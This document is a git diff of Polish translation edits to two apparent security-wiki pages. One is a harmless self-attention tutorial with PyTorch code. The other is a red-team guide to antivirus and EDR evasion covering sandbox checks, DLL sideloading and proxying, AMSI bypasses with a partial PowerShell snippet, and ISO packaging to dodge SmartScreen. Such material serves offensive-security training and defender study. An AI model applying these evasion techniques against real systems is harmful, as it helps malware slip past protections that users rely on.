@ -123,7 +123,7 @@ W praktyce mechanizmy samo-uwagi używają **uczących się wag**, aby nauczyć
|
|||
|
||||
Zapytanie to dane do użycia jak wcześniej, podczas gdy macierze kluczy i wartości to po prostu losowe macierze do uczenia.
|
||||
|
||||
#### Krok 1: Oblicz Zapytania, Klucze i Wartości
|
||||
#### Krok 1: Obliczanie Zapytania, Kluczy i Wartości
|
||||
|
||||
Każdy token będzie miał swoją własną macierz zapytania, klucza i wartości, mnożąc swoje wartości wymiarowe przez zdefiniowane macierze:
|
||||
|
||||
|
@ -155,7 +155,7 @@ queries = torch.matmul(inputs, W_query)
|
|||
keys = torch.matmul(inputs, W_key)
|
||||
values = torch.matmul(inputs, W_value)
|
||||
```
|
||||
#### Krok 2: Obliczanie uwagi z przeskalowanym iloczynem skalarnym
|
||||
#### Krok 2: Obliczanie uwagi z wykorzystaniem skalowanego iloczynu skalarnego
|
||||
|
||||
**Obliczanie wyników uwagi**
|
||||
|
||||
|
@ -165,7 +165,7 @@ Podobnie jak w poprzednim przykładzie, ale tym razem, zamiast używać wartośc
|
|||
|
||||
**Skalowanie wyników**
|
||||
|
||||
Aby zapobiec zbyt dużym iloczynom skalarnym, przeskaluj je przez pierwiastek kwadratowy z wymiaru klucza `dk`:
|
||||
Aby zapobiec zbyt dużym iloczynom skalarnym, skaluj je przez pierwiastek kwadratowy z wymiaru klucza `dk`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -185,7 +185,7 @@ Jak w początkowym przykładzie, po prostu zsumuj wszystkie macierze wartości,
|
|||
|
||||
### Przykład kodu
|
||||
|
||||
Zabierając przykład z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb), możesz sprawdzić tę klasę, która implementuje funkcjonalność samouważności, o której rozmawialiśmy:
|
||||
Zabierając przykład z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb), możesz sprawdzić tę klasę, która implementuje funkcjonalność samodzielnej uwagi, o której rozmawialiśmy:
|
||||
```python
|
||||
import torch
|
||||
|
||||
|
@ -234,7 +234,7 @@ Dla LLM-ów chcemy, aby model brał pod uwagę tylko tokeny, które pojawiają s
|
|||
|
||||
### Stosowanie Maski Causal Attention
|
||||
|
||||
Aby wdrożyć causal attention, stosujemy maskę do wyników uwagi **przed operacją softmax**, aby pozostałe sumowały się do 1. Ta maska ustawia wyniki uwagi przyszłych tokenów na minus nieskończoność, zapewniając, że po softmax ich wagi uwagi wynoszą zero.
|
||||
Aby zaimplementować causal attention, stosujemy maskę do wyników uwagi **przed operacją softmax**, aby pozostałe sumowały się do 1. Ta maska ustawia wyniki uwagi przyszłych tokenów na minus nieskończoność, zapewniając, że po softmax ich wagi uwagi wynoszą zero.
|
||||
|
||||
**Kroki**
|
||||
|
||||
|
@ -251,14 +251,14 @@ masked_scores = attention_scores + mask
|
|||
attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
```
|
||||
|
||||
### Maskowanie Dodatkowych Wag Uwagi za Pomocą Dropout
|
||||
### Maskowanie Dodatkowych Wag Uwagi za Pomocą Dropoutu
|
||||
|
||||
Aby **zapobiec przeuczeniu**, możemy zastosować **dropout** do wag uwagi po operacji softmax. Dropout **losowo zeruje niektóre z wag uwagi** podczas treningu.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
```
|
||||
Zwykła utrata to około 10-20%.
|
||||
Zwykła utrata danych wynosi około 10-20%.
|
||||
|
||||
### Code Example
|
||||
|
||||
|
@ -330,7 +330,7 @@ print("context_vecs.shape:", context_vecs.shape)
|
|||
|
||||
### Przykład kodu
|
||||
|
||||
Możliwe byłoby ponowne wykorzystanie poprzedniego kodu i dodanie tylko opakowania, które uruchamia go kilka razy, ale to jest bardziej zoptymalizowana wersja z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb), która przetwarza wszystkie głowy jednocześnie (zmniejszając liczbę kosztownych pętli for). Jak widać w kodzie, wymiary każdego tokena są dzielone na różne wymiary w zależności od liczby głów. W ten sposób, jeśli token ma 8 wymiarów i chcemy użyć 3 głów, wymiary będą podzielone na 2 tablice po 4 wymiary, a każda głowa użyje jednej z nich:
|
||||
Możliwe byłoby ponowne wykorzystanie poprzedniego kodu i po prostu dodanie opakowania, które uruchamia go kilka razy, ale to jest bardziej zoptymalizowana wersja z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb), która przetwarza wszystkie głowy jednocześnie (zmniejszając liczbę kosztownych pętli for). Jak widać w kodzie, wymiary każdego tokena są dzielone na różne wymiary w zależności od liczby głów. W ten sposób, jeśli token ma 8 wymiarów, a chcemy użyć 3 głów, wymiary będą podzielone na 2 tablice po 4 wymiary, a każda głowa użyje jednej z nich:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
|
@ -412,7 +412,7 @@ Dla innej kompaktowej i wydajnej implementacji możesz użyć klasy [`torch.nn.M
|
|||
{% hint style="success" %}
|
||||
Krótka odpowiedź ChatGPT na pytanie, dlaczego lepiej jest podzielić wymiary tokenów między głowami, zamiast pozwalać każdej głowie sprawdzać wszystkie wymiary wszystkich tokenów:
|
||||
|
||||
Chociaż pozwolenie każdej głowie na przetwarzanie wszystkich wymiarów osadzenia może wydawać się korzystne, ponieważ każda głowa miałaby dostęp do pełnych informacji, standardową praktyką jest **podział wymiarów osadzenia między głowami**. To podejście równoważy wydajność obliczeniową z wydajnością modelu i zachęca każdą głowę do uczenia się różnorodnych reprezentacji. Dlatego podział wymiarów osadzenia jest ogólnie preferowany w porównaniu do pozwolenia każdej głowie na sprawdzanie wszystkich wymiarów.
|
||||
Chociaż pozwolenie każdej głowie na przetwarzanie wszystkich wymiarów osadzenia może wydawać się korzystne, ponieważ każda głowa miałaby dostęp do pełnych informacji, standardową praktyką jest **podział wymiarów osadzenia między głowami**. Takie podejście równoważy wydajność obliczeniową z wydajnością modelu i zachęca każdą głowę do uczenia się różnorodnych reprezentacji. Dlatego podział wymiarów osadzenia jest ogólnie preferowany w porównaniu do pozwolenia każdej głowie na sprawdzanie wszystkich wymiarów.
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
|
|
@ -15,7 +15,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" dat
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -23,7 +23,7 @@ Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co ni
|
|||
|
||||
**Ta strona została napisana przez** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
||||
|
||||
## **Metodologia unikania AV**
|
||||
## **Metodologia Ewakuacji AV**
|
||||
|
||||
Obecnie, AV używają różnych metod do sprawdzania, czy plik jest złośliwy, czy nie, wykrywania statycznego, analizy dynamicznej, a dla bardziej zaawansowanych EDR-ów, analizy behawioralnej.
|
||||
|
||||
|
@ -33,27 +33,27 @@ Wykrywanie statyczne osiąga się poprzez oznaczanie znanych złośliwych ciąg
|
|||
|
||||
* **Szyfrowanie**
|
||||
|
||||
Jeśli zaszyfrujesz binarny plik, nie będzie możliwości wykrycia twojego programu przez AV, ale będziesz potrzebować jakiegoś loadera do odszyfrowania i uruchomienia programu w pamięci.
|
||||
Jeśli zaszyfrujesz plik binarny, nie będzie możliwości wykrycia twojego programu przez AV, ale będziesz potrzebować jakiegoś loadera do odszyfrowania i uruchomienia programu w pamięci.
|
||||
|
||||
* **Obfuskacja**
|
||||
|
||||
Czasami wystarczy zmienić kilka ciągów w swoim binarnym pliku lub skrypcie, aby przejść przez AV, ale może to być czasochłonne w zależności od tego, co próbujesz obfuskować.
|
||||
Czasami wystarczy zmienić kilka ciągów w swoim pliku binarnym lub skrypcie, aby przejść przez AV, ale może to być czasochłonne w zależności od tego, co próbujesz obfuskować.
|
||||
|
||||
* **Niestandardowe narzędzia**
|
||||
|
||||
Jeśli opracujesz własne narzędzia, nie będzie znanych złych sygnatur, ale zajmuje to dużo czasu i wysiłku.
|
||||
|
||||
{% hint style="info" %}
|
||||
Dobrym sposobem na sprawdzenie wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na wiele segmentów, a następnie prosi Defendera o zeskanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim binarnym pliku.
|
||||
Dobrym sposobem na sprawdzenie wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na wiele segmentów, a następnie prosi Defendera o zeskanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim pliku binarnym.
|
||||
{% endhint %}
|
||||
|
||||
Zdecydowanie polecam zapoznać się z tą [playlistą na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) na temat praktycznego unikania AV.
|
||||
Zdecydowanie polecam zapoznać się z tą [playlistą na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) na temat praktycznej ewakuacji AV.
|
||||
|
||||
### **Analiza dynamiczna**
|
||||
|
||||
Analiza dynamiczna to sytuacja, gdy AV uruchamia twój binarny plik w piaskownicy i obserwuje złośliwą aktywność (np. próba odszyfrowania i odczytania haseł przeglądarki, wykonanie minidumpa na LSASS itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby unikać piaskownic.
|
||||
Analiza dynamiczna to sytuacja, gdy AV uruchamia twój plik binarny w piaskownicy i obserwuje złośliwą aktywność (np. próba odszyfrowania i odczytania haseł przeglądarki, wykonanie minidumpa na LSASS itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby uniknąć piaskownic.
|
||||
|
||||
* **Sen przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na ominięcie analizy dynamicznej AV. AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich snów może zakłócić analizę binarnych plików. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane.
|
||||
* **Sen przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na ominięcie analizy dynamicznej AV. AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich snów może zakłócić analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane.
|
||||
* **Sprawdzanie zasobów maszyny** Zwykle piaskownice mają bardzo mało zasobów do pracy (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz być również bardzo kreatywny w tym zakresie, na przykład sprawdzając temperaturę CPU lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
|
||||
* **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz zaatakować użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie.
|
||||
|
||||
|
@ -61,7 +61,7 @@ Okazuje się, że nazwa komputera w piaskownicy Microsoft Defender to HAL9TH, wi
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>źródło: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Kilka innych naprawdę dobrych wskazówek od [@mgeeky](https://twitter.com/mariuszbit) dotyczących unikania piaskownic
|
||||
Kilka innych naprawdę dobrych wskazówek od [@mgeeky](https://twitter.com/mariuszbit) dotyczących omijania piaskownic
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
|
||||
|
@ -72,16 +72,16 @@ Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimi
|
|||
Prawidłowa odpowiedź to prawdopodobnie ta druga. Biorąc mimikatz jako przykład, prawdopodobnie jest to jeden z, jeśli nie najbardziej oznaczonych złośliwych programów przez AV i EDR, podczas gdy sam projekt jest super fajny, jest również koszmarem do pracy z nim, aby obejść AV, więc po prostu szukaj alternatyw dla tego, co próbujesz osiągnąć.
|
||||
|
||||
{% hint style="info" %}
|
||||
Podczas modyfikowania swoich ładunków w celu unikania wykrycia, upewnij się, że **wyłączasz automatyczne przesyłanie próbek** w defenderze, i proszę, poważnie, **NIE PRZESYŁAJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie unikania w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
|
||||
Podczas modyfikowania swoich ładunków w celu ewakuacji, upewnij się, że **wyłączyłeś automatyczne przesyłanie próbek** w defenderze, a proszę, poważnie, **NIE PRZESYŁAJ DO VIRUSTOTAL** jeśli twoim celem jest osiągnięcie ewakuacji w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
|
||||
{% endhint %}
|
||||
|
||||
## EXE vs DLL
|
||||
|
||||
Kiedy tylko to możliwe, zawsze **priorytetuj używanie DLL do unikania wykrycia**, z mojego doświadczenia wynika, że pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to bardzo prosty trik do użycia w celu uniknięcia wykrycia w niektórych przypadkach (jeśli twój ładunek ma jakiś sposób uruchomienia jako DLL, oczywiście).
|
||||
Kiedy tylko to możliwe, zawsze **priorytetuj używanie DLL do ewakuacji**, z mojego doświadczenia wynika, że pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to bardzo prosty trik do użycia w celu uniknięcia wykrycia w niektórych przypadkach (jeśli twój ładunek ma jakiś sposób uruchomienia jako DLL, oczywiście).
|
||||
|
||||
Jak widać na tym obrazie, ładunek DLL z Havoc ma wskaźnik wykrycia 4/26 w antiscan.me, podczas gdy ładunek EXE ma wskaźnik wykrycia 7/26.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>porównanie antiscan.me normalnego ładunku EXE z Havoc a normalnym ładunkiem DLL z Havoc</p></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>porównanie antiscan.me normalnego ładunku EXE Havoc vs normalnego ładunku DLL Havoc</p></figcaption></figure>
|
||||
|
||||
Teraz pokażemy kilka trików, które możesz użyć z plikami DLL, aby być znacznie bardziej dyskretnym.
|
||||
|
||||
|
@ -106,7 +106,7 @@ Zalecam **samodzielne zbadanie programów podatnych na DLL Hijackable/Sideloadab
|
|||
|
||||
Samo umieszczenie złośliwego DLL o nazwie, którą program oczekuje załadować, nie załaduje twojego ładunku, ponieważ program oczekuje pewnych specyficznych funkcji w tym DLL. Aby rozwiązać ten problem, użyjemy innej techniki zwanej **DLL Proxying/Forwarding**.
|
||||
|
||||
**DLL Proxying** przekazuje wywołania, które program wykonuje z proxy (i złośliwego) DLL do oryginalnego DLL, zachowując funkcjonalność programu i umożliwiając obsługę wykonania twojego ładunku.
|
||||
**DLL Proxying** przekazuje wywołania, które program wykonuje z proxy (i złośliwego) DLL do oryginalnego DLL, zachowując w ten sposób funkcjonalność programu i umożliwiając obsługę wykonania twojego ładunku.
|
||||
|
||||
Będę korzystać z projektu [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) od [@flangvik](https://twitter.com/Flangvik/)
|
||||
|
||||
|
@ -167,7 +167,7 @@ AMSI został stworzony, aby zapobiegać "[złośliwemu oprogramowaniu bezplikowe
|
|||
Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows.
|
||||
|
||||
* Kontrola konta użytkownika, czyli UAC (podniesienie uprawnień EXE, COM, MSI lub instalacji ActiveX)
|
||||
* PowerShell (skrypty, użycie interaktywne i dynamiczna ocena kodu)
|
||||
* PowerShell (skrypty, interaktywne użycie i dynamiczna ocena kodu)
|
||||
* Windows Script Host (wscript.exe i cscript.exe)
|
||||
* JavaScript i VBScript
|
||||
* Makra VBA w Office
|
||||
|
@ -204,9 +204,9 @@ Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że nie
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Wystarczyła jedna linia kodu powershell, aby uczynić AMSI bezużytecznym dla bieżącego procesu powershell. Ta linia została oczywiście oznaczona przez samo AMSI, więc konieczne są pewne modyfikacje, aby użyć tej techniki.
|
||||
Wystarczyła jedna linia kodu powershell, aby uczynić AMSI bezużytecznym dla bieżącego procesu powershell. Ta linia została oczywiście oznaczona przez samo AMSI, więc potrzebne są pewne modyfikacje, aby użyć tej techniki.
|
||||
|
||||
Oto zmodyfikowane obejście AMSI, które wziąłem z tego [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
|
||||
Oto zmodyfikowany bypass AMSI, który wziąłem z tego [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
|
||||
```powershell
|
||||
Try{#Ams1 bypass technic nº 2
|
||||
$Xdatabase = 'Utils';$Homedrive = 'si'
|
||||
|
@ -224,7 +224,7 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
|
|||
|
||||
**Memory Patching**
|
||||
|
||||
Ta technika została początkowo odkryta przez [@RastaMouse](https://twitter.com/\_RastaMouse/) i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie dostarczonego przez użytkownika wejścia) i nadpisaniu go instrukcjami, aby zwrócić kod E\_INVALIDARG, w ten sposób wynik rzeczywistego skanowania zwróci 0, co jest interpretowane jako czysty wynik.
|
||||
Ta technika została początkowo odkryta przez [@RastaMouse](https://twitter.com/\_RastaMouse/) i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie danych wejściowych dostarczonych przez użytkownika) i nadpisaniu go instrukcjami, aby zwrócić kod E\_INVALIDARG, w ten sposób wynik rzeczywistego skanowania zwróci 0, co jest interpretowane jako czysty wynik.
|
||||
|
||||
{% hint style="info" %}
|
||||
Proszę przeczytać [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) w celu uzyskania bardziej szczegółowego wyjaśnienia.
|
||||
|
@ -244,7 +244,7 @@ Istnieje kilka narzędzi, które można wykorzystać do **obfuskacji kodu C# w c
|
|||
* [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania C++, co utrudni życie osobie chcącej złamać aplikację.
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to obfuscator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
|
||||
* [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorficznego dla dowolnych plików wykonywalnych.
|
||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to framework obfuskacji kodu o wysokiej precyzji dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania.
|
||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to framework obfuskacji kodu o drobnej granularności dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania.
|
||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt to .NET PE Crypter napisany w Nim
|
||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi przekształcić istniejące EXE/DLL w shellcode, a następnie je załadować
|
||||
|
||||
|
@ -256,17 +256,17 @@ Microsoft Defender SmartScreen to mechanizm zabezpieczeń mający na celu ochron
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen głównie działa na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje uruchomią SmartScreen, co z kolei ostrzeże i uniemożliwi użytkownikowi końcowemu uruchomienie pliku (chociaż plik można nadal uruchomić, klikając Więcej informacji -> Uruchom mimo to).
|
||||
SmartScreen działa głównie na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje uruchomią SmartScreen, co ostrzeże i uniemożliwi użytkownikowi końcowemu uruchomienie pliku (choć plik nadal można uruchomić, klikając Więcej informacji -> Uruchom mimo to).
|
||||
|
||||
**MoTW** (Mark of The Web) to [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) o nazwie Zone.Identifier, który jest automatycznie tworzony po pobraniu plików z internetu, wraz z adresem URL, z którego został pobrany.
|
||||
**MoTW** (Mark of The Web) to [strumień danych alternatywnych NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) o nazwie Zone.Identifier, który jest automatycznie tworzony po pobraniu plików z internetu, wraz z adresem URL, z którego został pobrany.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Sprawdzanie strumienia danych Zone.Identifier dla pliku pobranego z internetu.</p></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Ważne jest, aby zauważyć, że pliki wykonywalne podpisane z **zaufanym** certyfikatem podpisu **nie uruchomią SmartScreen**.
|
||||
Ważne jest, aby zauważyć, że pliki wykonywalne podpisane **zaufanym** certyfikatem podpisu **nie uruchomią SmartScreen**.
|
||||
{% endhint %}
|
||||
|
||||
Bardzo skutecznym sposobem na zapobieganie oznaczaniu twoich payloadów Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **wolumenów nie NTFS**.
|
||||
Bardzo skutecznym sposobem na zapobieżenie oznaczeniu twoich payloadów Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **woluminów non NTFS**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -304,17 +304,17 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
|||
|
||||
Ponieważ ładunek zostanie załadowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli martwić się tylko o patchowanie AMSI przez cały proces.
|
||||
|
||||
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc itp.) już oferuje możliwość wykonywania zestawów C# bezpośrednio w pamięci, ale istnieją różne sposoby, aby to zrobić:
|
||||
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc itp.) już oferuje możliwość wykonywania zestawów C# bezpośrednio w pamięci, ale istnieją różne sposoby na to:
|
||||
|
||||
* **Fork\&Run**
|
||||
|
||||
Polega to na **uruchomieniu nowego procesy ofiarnego**, wstrzyknięciu złośliwego kodu post-exploitation do tego nowego procesu, wykonaniu złośliwego kodu, a po zakończeniu, zabiciu nowego procesu. Ma to zarówno swoje zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym procesem implantacyjnym Beacon. Oznacza to, że jeśli coś w naszej akcji post-exploitation pójdzie źle lub zostanie wykryte, istnieje **dużo większa szansa**, że nasz **implant przetrwa.** Wadą jest to, że masz **większą szansę** na bycie złapanym przez **Wykrycia Behawioralne**.
|
||||
Polega to na **tworzeniu nowego procesy ofiarnego**, wstrzyknięciu złośliwego kodu post-exploitation do tego nowego procesu, wykonaniu złośliwego kodu, a po zakończeniu, zabiciu nowego procesu. Ma to zarówno swoje zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym procesem implantacyjnym Beacon. Oznacza to, że jeśli coś w naszej akcji post-exploitation pójdzie źle lub zostanie wykryte, istnieje **dużo większa szansa** na **przetrwanie naszego implantatu.** Wadą jest to, że masz **większą szansę** na bycie złapanym przez **Wykrycia Behawioralne**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **Inline**
|
||||
|
||||
Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utracenie swojego beacona**, ponieważ może on się zawiesić.
|
||||
Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utracenie twojego beacona**, ponieważ może on się zawiesić.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -322,13 +322,13 @@ Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **do własnego proce
|
|||
If you want to read more about C# Assembly loading, please check out this article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) and their InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
{% endhint %}
|
||||
|
||||
Możesz również ładować zestawy C# **z PowerShell**, sprawdź [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) i [film S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
Możesz również ładować zestawy C# **z PowerShell**, sprawdź [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) oraz [film S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Using Other Programming Languages
|
||||
|
||||
Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonywanie złośliwego kodu przy użyciu innych języków, dając skompromitowanej maszynie dostęp **do środowiska interpretera zainstalowanego na udostępnionym SMB kontrolowanym przez atakującego**.
|
||||
|
||||
Dając dostęp do binarnych plików interpretera i środowiska na udostępnionym SMB, możesz **wykonywać dowolny kod w tych językach w pamięci** skompromitowanej maszyny.
|
||||
Pozwalając na dostęp do binarnych plików interpretera i środowiska na udostępnionym SMB, możesz **wykonywać dowolny kod w tych językach w pamięci** skompromitowanej maszyny.
|
||||
|
||||
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale wykorzystując Go, Java, PHP itp. mamy **więcej elastyczności w omijaniu statycznych sygnatur**. Testowanie losowych, nieobfuskowanych skryptów reverse shell w tych językach okazało się skuteczne.
|
||||
|
||||
|
@ -338,7 +338,7 @@ Ewazja to bardzo skomplikowany temat, czasami musisz wziąć pod uwagę wiele r
|
|||
|
||||
Każde środowisko, przeciwko któremu się stawiasz, będzie miało swoje własne mocne i słabe strony.
|
||||
|
||||
Zachęcam cię do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/DaniLJ94), aby uzyskać wgląd w bardziej zaawansowane techniki ewazji.
|
||||
Zachęcam cię do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/DaniLJ94), aby uzyskać podstawy bardziej zaawansowanych technik ewazji.
|
||||
|
||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||
|
||||
|
@ -351,7 +351,7 @@ To również kolejne świetne wystąpienie od [@mariuszbit](https://twitter.com/
|
|||
### **Check which parts Defender finds as malicious**
|
||||
|
